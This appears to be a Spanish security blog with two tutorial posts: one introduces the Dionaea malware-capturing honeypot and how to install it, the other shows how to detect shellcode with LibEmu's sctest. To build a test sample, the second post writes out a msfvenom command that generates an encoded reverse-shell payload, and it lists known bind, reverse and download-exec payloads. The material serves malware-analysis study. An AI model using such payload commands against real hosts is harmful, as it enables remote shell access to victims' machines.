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HoneyPots Parte 2 – Introducción a Dionaea
Dionaea es un honeypot realmente interesante, ya que su principal objetivo es la captura y análisis de muestras de malware. Es capaz de levantar varios tipos de servicios y esperar a que los atacantes intenten hacerse con el control de dicho servicio por medio de peticiones maliciosas y el envío de payloads. Dionaea utiliza la librería libemu para la detección de shellcodes y tal como se ha mencionado en un articulo anterior sobre dicha librería, se utilizan heurísticas GetPC/GetEIP para determinar si un payload determinado es malicioso y en algunos casos, ejecutarlo en un entorno controlado de ser necesario.
Una instancia de Dionaea puede levar varios tipos de servicios, entre los que destacan HTTP, FTP, TFTP, SMB, entre otros. Cada uno de estos servicios se encuentra especialmente preparado para captar la atención de un atacante y que intenté enviar una muestra de malware, ya que al final de cuentas, es el objetivo de este honeypot.
El funcionamiento general de Dionaea se resume de una forma muy bien explicada en el sitio web oficial del proyecto (http://dionaea.carnivore.it/) sin embargo, también intentaré explicarlo de la mejor forma que pueda en los siguientes párrafos.
Antes que nada, este honeypot sigue un “workflow” bastante simple en el que se definen cada una de las fases de captura, detección, análisis y posterior categorización de muestras de malware, dichas fases se resumen brevemente a continuación:
Conectividad y protocolos soportados por Dionaea
Una de las principales características de este honeypot, es que soporta rutinas no bloqueantes, lo que mejora considerablemente el desempeño general del sistema y permite ejecutar múltiples operaciones de escritura y lectura sobre uno o varios sockets sin necesidad de esperar una respuesta por parte del receptor. Estas características en Dionaea son implementadas utilizando Python y tal como os comentaba en algún post anterior, para crear “corutinas” se puede utilizar el módulo asyncio que ya viene incluido en a partir versión 3.x de Python, así como también otros módulos como Twisted o Tornado que sirven básicamente para lo mismo. Dionaea en este caso utiliza el módulo asyncio y además, también utiliza las librerías libudns y libev para peticiones DNS no bloqueantes y recibir notificaciones sobre diferentes tipos de eventos en el entorno de red respectivamente.
Por otro lado, tal como se puede apreciar también en la documentación, los protocolos soportados por Dionaea son implementaciones propias del honeypot y en algunos casos, como por ejemplo para el servicio SMB, se implementan completamente en Python.
Intentos de explotación y detección del malware
Cuando un atacante comienza a comprobar que el supuesto servicio puede ser vulnerable, lo más probable es que comience a atacarlo por medio de peticiones maliciosas y el envío de payloads que puedan “reventar” el proceso remoto. En este caso, el proceso de perfilado es realizado por Libemu registrando todas las invocaciones a las funciones del sistema con sus correspondientes argumentos, es decir, haciendo un “hooking” de cada una de las funciones definidas en el programa. No obstante, existen muchos shellcodes que son “multi-stage”, los cuales ejecutan una rutina de código simple que únicamente se encarga de descargar de un sitio remoto otro(s) shelcode(s). En este caso concreto, únicamente registrando las invocaciones a las funciones del sistema no seria suficiente para perfilar el programa y por este motivo, Dionaea también permite la ejecución del shellcode con el fin de determinar cuál es el objetivo del programa. Evidentemente, para esto muy posiblemente será necesario permitir que el shellcode realice conexiones de red, por este motivo es muy recomendado ejecutar el honeypot en una máquina virtual y de ser posible, aislada del segmento de red interno.
Finalmente, cuando el shellcode ha sido perfilado tras el registro de las funciones invocadas y/o las conexiones de red que se han llevado a cabo tras la ejecución del programa malicioso, Dionaea es capaz de determinar la intención del programa y categorizarlo. Las categorías que maneja Dionaea para clasificar muestras de malware son: Consolas bind y reversas, programas que ejecutan la función WinExec, programas que utilizan la función URLDowloadToFile y payloads multi-staged.
Registro y sistema de incidentes
Finalmente el honeypot procede a guardar una copia del shellcode y a registrar cada una de las acciones que ha realizado el programa para posterior análisis. Por otro lado, también cuenta con un sistema de incidentes que permite ver rápidamente las conclusiones más relevantes sobre el programa analizado, sin necesidad de navegar por enormes ficheros de log en busca de dichos resultados.
Instalación de Dionaea
Cuando se le echa un vistazo al proceso de instalación explicado en la página web de Dionaea, muy probablemente lo primero que piensa más de uno es “esto no lo instala ni dios”, pero la realidad es que el proceso es bastante simple, siempre y cuando se sigan todos los pasos explicados y se cumpla con todas las dependencias exigidas. Algunas de dichas dependencias casi seguro ya se encuentran en el sistema mucho antes de comenzar con la instalación, tales como libcurl o LibEmu si has seguido el articulo anterior, pero la mayoría deben instalarse manualmente desde el código fuente de cada una de las dependencias.
Como regla general, es mejor seguir cada uno de los pasos descritos en el siguiente enlace: http://dionaea.carnivore.it/#compiling Además, tener en cuenta que el “prefijo” (opción prefix del ejecutable “configure”) debe apuntar al directorio “/opt/dionaea” por lo tanto dicho directorio debe ser accesible para el usuario con el que se realice el proceso de instalación. Una recomendación que lo permitirá instalar rápidamente, consiste en descargar y desempaquetar todas las librerías en el directorio “/opt” y ejecutar la construcción (configure), compilación (make) e instalación (make install).
Después de instalar todas las dependencias, es necesario descargar el proyecto desde el GitHub y para ello, también se puede ubicar en el directorio “/opt”, pero asignando un nombre distinto al directorio de salida, ya que “/opt/dionaea” ya existe y contiene todas las librerías y dependencias que se han ido instalando. Se puede ejecutar algo como esto:
git clone git://git.carnivore.it/dionaea.git dionaea-git |
Posteriormente, desde el directorio “/opt/dionaea-git” se puede ejecutar el mismo procedimiento de instalación descrito en la página.
En mi caso concreto, no he tenido ningún problema instalando Dionaea en sistemas Debian Squeeze y Wheezy, sin embargo, en el caso de Ubuntu, en la versión 14.04 hay un problema con el enlazado de la librería “libcrypto” dando un error similar al siguiente cuando se ejecuta el comando “make”.
| /usr/bin/ld: note: ‘X509_gmtime_adj’ is defined in DSO /lib/libcrypto.so.10 so try adding it to the linker command line
/lib/libcrypto.so.1.0.0: could not read symbols: Invalid operation |
En tal caso es necesario realizar el enlace de dicha librería de forma manual. Para ello, es necesario dirigirse al directorio “/opt/dionaea-git/src” y ejecutar la utilidad “libtool” para enlazar a la librería “libcrypto.so”
| ../libtool –tag=CC –mode=link gcc -I/opt/dionaea/include -DEV_COMPAT3=0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/opt/dionaea/include/ -I/opt/dionaea/include/ -I../include -I .. -fno-strict-aliasing -std=c99 -D_GNU_SOURCE -D_GNU_SOURCE -I/opt/dionaea/include -DEV_COMPAT3=0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/opt/dionaea/include/ -Wall -Werror -Wstrict-prototypes -g -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -pthread -Wl,–export-dynamic -pthread -o dionaea dionaea-dionaea.o dionaea-dns.o dionaea-refcount.o dionaea-node_info.o dionaea-util.o dionaea-connection.o dionaea-modules.o dionaea-pchild.o dionaea-log.o dionaea-signals.o dionaea-incident.o dionaea-threads.o dionaea-bistream.o dionaea-processor.o -L/opt/dionaea/lib /opt/dionaea/lib/libev.so -lm -lgthread-2.0 -lgmodule-2.0 -lrt -lglib-2.0 -L/opt/dionaea/lib/ /opt/dionaea/lib/liblcfg.so -L/usr/local/lib -lssl -ludns -pthread -Wl,-rpath -Wl,/opt/dionaea/lib -Wl,-rpath -Wl,/opt/dionaea/lib /lib/x86_64-linux-gnu/libcrypto.so.1.0.0 |
Notar que ha sido necesario especificar la ubicación de la librería y en este caso concreto, se encuentra en “/lib/x86_64-linux-gnu/libcrypto.so.1.0.0” pero evidentemente puede cambiar un poco dependiendo del sistema y de la arquitectura utilizada.
Después de ejecutar los comandos de compilación e instalación en “dionaea-git”, se generará un ejecutable con nombre “dionaea” junto con otras utilidades en el directorio “/opt/dionaea/bin”.
Para comprobar que la instalación ha sido correcta y que se puede levantar el honeypot normalmente, se puede ejecutar la utilidad “/opt/dionaea/bin/dionaea” de la siguiente forma.
| > ./dionaea -l all,-debug |
Se podrán ver varias trazas relacionadas con el arranque de cada uno de los servicios del honeypot, pero tal como se puede ver en el listado de interruptores de la herramienta, se trata de un software que es altamente configurable y con el que se pueden crear soluciones defensivas y de alerta temprana muy interesantes.
| >./dionaea -H
Dionaea Version 0.1.0 Compiled on Linux/x86_64 at Mar 12 2015 00:17:48 with gcc 4.8.2 Started on Galilei running Linux/x86_64 release 3.13.0-46-generic Dionaea Version 0.1.0 Compiled on Linux/x86_64 at Mar 12 2015 00:17:48 with gcc 4.8.2 Started on Galilei running Linux/x86_64 release 3.13.0-46-generic -c, –config=FILE use FILE as configuration file Default value/behaviour: /opt/dionaea/etc/dionaea.conf -D, –daemonize run as daemon -g, –group=GROUP switch to GROUP after startup (use with -u) Default value/behaviour: keep current group -h, –help display help -H, –large-help display help with default values -l, –log-levels=WHAT which levels to log, valid values all, debug, info, message, warning, critical, error, combine using ‘,’, exclude with – prefix -L, –log-domains=WHAT which domains use * and ? wildcards, combine using ‘,’, exclude using – -u, –user=USER switch to USER after startup Default value/behaviour: keep current user -p, –pid-file=FILE write pid to file -r, –chroot=DIR chroot to DIR after startup, warning: chrooting causes problems with logsql/sqlite Default value/behaviour: don’t chroot -V, –version show version Default value/behaviour: -w, –workingdir=DIR set the process’ working dir to DIR Default value/behaviour: /opt/dionaea examples: # dionaea -l all,-debug -L ‘*’ # dionaea -l all,-debug -L ‘con*,py*’ # dionaea -u nobody -g nogroup -w /opt/dionaea -p /opt/dionaea/var/run/dionaea.pid |
En este corto articulo solamente se han visto las principales características de Dionaea, pero aun no se ha visto en ejecución utilizando algunos de los interruptores soportados por la herramienta y con opciones de configuración personalizadas en el fichero “dionanea.conf”. Esto es lo realmente interesante y lo explicaré en el próximo articulo que publicaré en este blog.
Saludos y Happy Hack!
Adastra.
Detección de malware con libemu
Una de las principales tareas de cualquier investigador de malware consiste precisamente en obtener, analizar y comprender el funcionamiento de todas las muestras que pueda, de esta forma podrá entender mucho mejor las técnicas utilizadas por las personas que se dedican a crear este tipo de programas. Además de hacerlo por “diversión y beneficio”, la detección y posterior análisis de malware son algunas de las principales rutinas que se suelen implementar en sistemas IDS/IPS tales como Suricata y Snort o en HoneyPots tales como Dionaea. Para ello, existen varias librerías que ayudan a crear hooks para monitorizar y analizar algunas de las “API Calls” más utilizadas en programas maliciosos, una bastante conocida es PyDBG, la cual es ampliamente utilizada en proyectos tales como Pamei/Sulley Framework.
Sin embargo, no solamente existen librerías en Python para este tipo de actividades, y de hecho, otro lenguaje que se ha utilizado y se sigue utilizando con bastante frecuencia para la elaboración de analizadores de código malicioso es C/C++ y sobre dicho lenguaje, se encuentra desarrollada una de las librerías más potentes que conozco para el análisis de muestras de malware: LibEmu.
“Libemu es una librería que permite realizar un proceso básico de emulación sobre sistemas con arqutectura x86 y además, permite la detección de shellcodes utilizando heurísticas GetPC.”
Este mismo texto será el que encuentres en la página oficial de Libemu (http://libemu.carnivore.it/) pero para comprender realmente lo que significa, hace falta tener claros ciertos conceptos:
“Proceso básico de emulación”: Concretamente sobre las instrucciones disponibles en arquitecturas x86. Un proceso de emulación, a diferencia de un proceso de simulación, pretende modelar el comportamiento de un programa de la forma más precisa y exacta posible, creando para ello una plataforma completa que permita reproducir el funcionamiento del programa. Esto quiere decir que LibEmu se encarga de replicar las instrucciones básicas de un sistema, funcionando de un modo similar a una máquina virtual pero con la diferencia de que un emulador tiende a ser mucho más lento y permite emular también la CPU.
“Heurísticas GetPC”: Get Program Counter o también conocido como GetEIP en arquitecturas x86 es una técnica comúnmente utilizada en el desarrollo de shellcodes para determinar la ubicación del shellcode en el espacio de direcciones del proceso. Este tipo de rutinas son vitales para realizar procesos de decodificación y mutación, en las cuales el shellcode necesita conocer la ubicación en la que ha sido inyectado dentro del proceso vulnerable. “GetPC” no es una única técnica, sino que abarca varias técnicas que combinan instrucciones para conocer la dirección de memoria en la que se encuentra el shellcode. Algunas de dichas instrucciones son: CALL GetPC, FSTENV GetPC, SEH GetPC (sobre sistemas Windows y no soportado por LibEmu), entre otras que explicaré en un próximo articulo.
Para instalar LibEmu, se puede descargar la última versión estable desde el sitio web oficial en: http://libemu.carnivore.it/#download, desde el repositorio Git o utilizando el comando “apt-get install libemu2” en sistemas basados en Debian. En este caso, se utilizará la versión de desarrollo que se encuentra incluida en el repositorio.
| >git clone git://git.carnivore.it/libemu.git>autoreconf -v -i
>./configure –prefix=/opt/libemu –enable-python-bindings –disable-werror >make |
Como se puede apreciar, a la hora de configurar el ejecutable con el comando “configure”, se ha utilizado la opción “–enable-python-bindings”, de esta forma se instalan también los “bindings” de Python para LibEmu de forma automática, es decir, se encarga de instalar la librería “pylibemu” para utilizar LibEmu desde Python, algo de lo que se hablará en un próximo articulo.
Una vez se ha terminado de instalar la librería en el sistema, contamos con algunas herramientas que son muy útiles para el análisis de malware y son las que le dan “vida” a LibEmu.
Para poder probar su funcionamiento se puede utilizar cualquier malware disponible en Internet (con precaución obviamente) o utilizando alguno de los payloads que se pueden generar con Metasploit Framework. Independiente del mecanismo utilizado, lo interesante de LibEmu son los resultados que arroja cuando se ejecutan utilidades como “sctest”.
Utilizando “msfvenom” de Metasploit Framework se creará un payload malicioso que posteriormente será utilizado para realizar las pruebas con LibEmu.
| ./msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.1.244 LPORT=4444 -e x86/shikata_ga_nai -f raw > testingPayload.bin No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 98 (iteration=0) |
Se ha utilizado “msfvenom”, un sustituto de la utilidad “msfpayload”, la cual se encuentra deprecada y que próximamente será removida del proyecto.
El fichero generado se ha nombrado como “testingPayload” y a continuación será utilizado con LibEmu y la utilidad “sctest” para ver el contenido del fichero y determinar si se trata de un programa malicioso o no.
En primer lugar, algunas de las opciones disponibles en “sctest” se pueden listar con el interruptor “-h/–help”
| ./sctest –help -a PATH use this argos csi files as input
–argos-csi= PATH -b IP:PORT bind this ip:port –bind=IP:PORT -c IP:PORT redirect connects to this ip:port –connect=IP:PORT -C CMD command to execute for “cmd” in shellcode (default: cmd=”/bin/sh -c \”cd ~/.wine/drive_c/; wine ‘c:\windows\system32\cmd_orig.exe’ \””) –cmd= CMD -d INTEGER dump the shellcode (binary) to stdout –dump=INTEGER -g run getpc mode, try to detect a shellcode –getpc -G FILEPATH save a dot formatted callgraph in filepath –graph=FILEPATH -h show this help –help -i proxy api calls to the host operating system –interactive -l list all tests –listtests -o [INT|HEX] manual offset for shellcode, accepts int and hexvalues –offset=[INT|HEX] -p PATH write shellcode profile to this file –profile= PATH -S read shellcode/buffer from stdin, works with -g –stdin -s INTEGER max number of steps to run –steps=INTEGER -t INTEGER the test to run –testnumber=INTEGER -v be verbose, can be used multiple times, f.e. -vv –verbose |
Algunas resultan especialmente interesantes de cara a la detección de un programa malicioso, especialmente “-S”, “-t”, “-l” y “-g”.
Con la opción “-l” se pueden ver las pruebas que realizará la herramienta para detectar payloads maliciosos.
| >./sctest -l 0 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com1 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=344 Encoder=Pex http://metasploit.com 2 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com 3 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com 4 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=344 Encoder=ShikataGaNai http://metasploit.com 5 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=349 Encoder=JmpCallAdditive http://metasploit.com 6 ) win32_reverse – EXITFUNC=seh LHOST=216.75.15.231 LPORT=4321 Size=287 Encoder=None http://metasploit.com 7 ) win32_downloadexec – URL=http://nepenthes.mwcollect.org/bad.exe Size=378 Encoder=None http://metasploit.com 8 ) win32_exec – EXITFUNC=seh CMD=cmd -c http://ftp.exe -s foo.scripted_sequence; echo der fox hat die gans gezogen Size=205 Encoder=None http://metasploit.com 9 ) some old dcom shellcode 10) brihgtstor discovery 11) amberg 12) lindau – linkbot connectback version 13) bremen – linkbot bind version 14) halle – filetransferr via csend 15) tills neuer 16) win32_bind pex & ./clet -S win32_bind_pex -b 50 -t -B -c -f ../spectrum/stat2 -a -n 123 17) clet decoded nop slide (144 0x90 decoded with ./clet -S 144nop -b 50 -t -B -c -f ../spectrum/stat2 -a -n 123) 18) the hackers choice realplayer 8 exploit 19) win32_bind_vncinject – VNCDLL=/home/opcode/msfweb/framework/data/vncdll.dll EXITFUNC=seh AUTOVNC=1 VNCPORT=5900 LPORT=4444 Size=287 Encoder=None http://metasploit.com 20) windows/vncinject/reverse_tcp – 177 bytes (stage 1) http://www.metasploit.com DisableCourtesyShell=false, VNCHOST=127.0.0.1, VNCPORT=5900, EXITFUNC=seh, DLL=/tmp/framework-3.0/data/vncdll.dll, LPORT=4444, LHOST=192.168.53.20, AUTOVNC=true 21) till sein lsass dump 22) bindshell::schoenborn 23) sqlslammer 24) linux bindshell 25) Windows bindshell 0.0.0.0:8594 – tried exploit PNP_QueryResConfList/MS05-39 26) Windows bind filetransfer 0.0.0.0:38963 – tried to exploit DsRolerUpgradeDownlevelServer/MS04-11 27) libemu dos 28) windows/shell_bind_tcp AutoRunScript=, EXITFUNC=process, InitialAutoRunScript=, LPORT=4444, RHOST= http://www.metasploit.com 29) crash in loadlibrary 30) crash in fwrite 31) crash in lwrite/hwrite 32) crash in malloc 33) crash in send 34) crash in execve |
Algunas de las pruebas que realiza la utilidad son bastante conocidas y por defecto las realiza todas, pero si se indica el interruptor “-t”, solamente se ejecutará la prueba con el identificador especificado.
A continuación se puede ejecutar “sctest” utilizando los interruptores “-g”, “-v”.
| >./sctest -gS -s 150 -v < /home/adastra/Escritorio/testingPayload.bin verbose = 1
success offset = 0x00000000 int socket(int domain=2, int type=1, int protocol=0); connect stepcount 106 int socket ( int domain = 2; int type = 1; int protocol = 0; ) = 14; int connect ( int sockfd = 14; struct sockaddr_in * serv_addr = 0x00416fc2 => struct = { short sin_family = 2; unsigned short sin_port = 23569 (port=4444); struct in_addr sin_addr = { unsigned long s_addr = -201217856 (host=192.168.1.244); }; char sin_zero = ” “; }; int addrlen = 102; ) = 0; |
Como se puede apreciar, “sctest” ha detectado que el programa en cuestión tiene un payload malicioso que se encarga de conectarse al puerto “4444” del host “192.168.1.244”. Como se puede ver, aparecen cada una de las funciones que en conjunto, representan un patrón malicioso conocido.
Por otro lado, también es posible importar los resultados en una imagen con la representación gráfica de cada una de las invocaciones que se han realizado.
| >./sctest -gS -s 150 -v -G /home/adastra/Escritorio/payloadGraph.dot < /home/adastra/Escritorio/payload.bin |
El formato generado por la herramienta es “DOT”, el cual puede ser rápidamente convertido a un formato mucho más conocido como JPEG o PNG utilizando Graphviz.
| >sudo apt-get install graphviz |
El resultado de ejecutar la utilidad con la opción “-G” se puede ver en la siguiente imagen.
Flujo de invocaciones del programa
Para la detección de shellcodes, LibEmu se basa en técnicas GetPC tal como se ha visto anteriormente, con lo cual, para comprender cómo funciona LibEmu, lo más importante es comprender el funcionamiento de las técnicas GetPC, especialmente las basadas en llamadas (CALL) y en la función FNSTNV. En un próximo articulo intentaré profundizar un poco más en estas secuencias de instrucciones.
Un saludo y Happy Hack!
Adastra.
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Sobre Adastra:
Soy un entusiasta de la tecnología y la seguridad informática, me siento atraído principalmente por la cultura y los fundamentos del Gray Hat Hacking.
Soy una persona afortunada de poder dedicar mi tiempo y energía en hacer lo que me apasiona, aprendiendo y compartiendo lo aprendido. Con bastante frecuencia iré publicando entradas relacionadas con estudios y técnicas que he ido asimilando a lo largo de mis investigaciones, todas enfocadas a las diferentes facetas de la informática con un énfasis especial en la seguridad.
Saludos y Happy Hack!
